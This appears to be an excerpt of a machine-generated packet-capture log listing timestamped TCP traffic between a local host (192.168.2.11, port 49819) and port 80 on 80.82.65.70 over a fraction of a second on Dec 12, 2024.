                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.636770010 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.636902094 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.636970997 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.637465000 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.637582064 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.637639046 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.638236046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.638293028 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.638350964 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.638474941 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.639031887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.639138937 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.639144897 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.639213085 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.639828920 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.639915943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.639920950 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.640032053 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.640589952 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.640655041 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.640806913 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.640870094 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.641365051 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.641510963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.641544104 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.641573906 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.642129898 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.642290115 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.642291069 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.642348051 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.697876930 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.697935104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.697999954 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.697999954 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.698162079 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.698223114 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.698272943 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.698344946 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.698981047 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.699059010 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.699120045 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.699687958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.699748993 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.734198093 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.734270096 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.734278917 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.734368086 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.734600067 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.734657049 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.734747887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.734805107 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.735342026 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.735403061 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.735508919 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.735564947 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.736229897 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.736289024 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.736443996 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.736500978 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.736917973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.737025023 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.737059116 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.737081051 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.737668037 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.737755060 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.737777948 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.737827063 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.738464117 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.738610983 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.738647938 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.738672972 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.739264965 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.739321947 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.739401102 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.739490032 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.740061045 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.740117073 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.740159988 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.740207911 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.740833044 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.740876913 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.740907907 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.740993977 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.741605997 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.741667986 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.741724968 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.741801023 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.742355108 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.742451906 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.742480993 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.742530107 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.743261099 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.743357897 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.743366957 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.743405104 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.743913889 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.743966103 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.744048119 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.744093895 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.744724035 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.744782925 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.744901896 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.744952917 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.745515108 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.745564938 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.745599031 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.745667934 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.746284008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.746341944 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.746372938 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.746443987 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.747111082 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.747169971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.747258902 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.747333050 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.747874022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.747924089 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.747961044 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.748234987 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.748625994 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.748675108 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.748743057 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.748794079 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.812303066 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.812426090 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.812454939 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.812520027 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.812572956 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.812592983 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.812629938 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.812655926 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.813328981 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.813400984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.813442945 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.813509941 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.814148903 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.814168930 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.814230919 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.814769983 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.814836025 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.814883947 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.814973116 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.815524101 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.815664053 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.815685987 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.815735102 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.816278934 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.816329956 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.816406012 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.816487074 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.817107916 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.817166090 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.817217112 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.817284107 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.817934990 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.818011999 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.818012953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.818123102 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.818614960 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.818686962 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.818689108 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.818744898 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.819417953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.819477081 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.819578886 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.819782019 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.820216894 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.820274115 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.820296049 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.820327997 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.820997953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.821137905 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.821199894 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.821247101 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.821752071 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.821866989 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.821918011 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.822540045 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.822702885 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.822706938 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.822762966 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.823347092 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.823412895 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.823509932 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.823570013 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.824125051 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.824208021 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.824244022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.824296951 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.825155973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.825278044 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.825351000 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.825438023 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.825973988 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.826031923 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.826073885 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.826122999 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.826570034 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.826653957 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.826658964 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.826709032 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.827258110 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.827361107 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.827368021 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.827414989 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.827995062 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.828068972 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.828107119 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.828398943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.828807116 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.828866005 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.828907967 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.828963041 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.829582930 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.829628944 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.829638004 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.829688072 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.830364943 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.830419064 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.830456018 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.830600023 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.831161976 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.831240892 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.831279039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.831348896 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.831923962 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.831974983 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.832019091 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.832068920 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.832707882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.832809925 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.832828045 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.832932949 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.833497047 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.833571911 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.833625078 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.834278107 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.834292889 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.834326982 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.834357977 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.889873028 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.889965057 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.889978886 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.890032053 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.890197992 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.890248060 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.890338898 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.890388966 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.891002893 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.891055107 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.891093969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.891143084 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.891794920 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.891850948 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.926253080 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.926326036 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.926369905 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.926418066 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.926593065 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.926644087 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.926794052 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.926841021 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.927406073 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.927454948 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.927464008 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.927506924 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.928191900 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.928242922 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.928281069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.928335905 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.929099083 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.929156065 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.929250956 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.929363966 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.929757118 CET804981980.82.65.70192.168.2.11
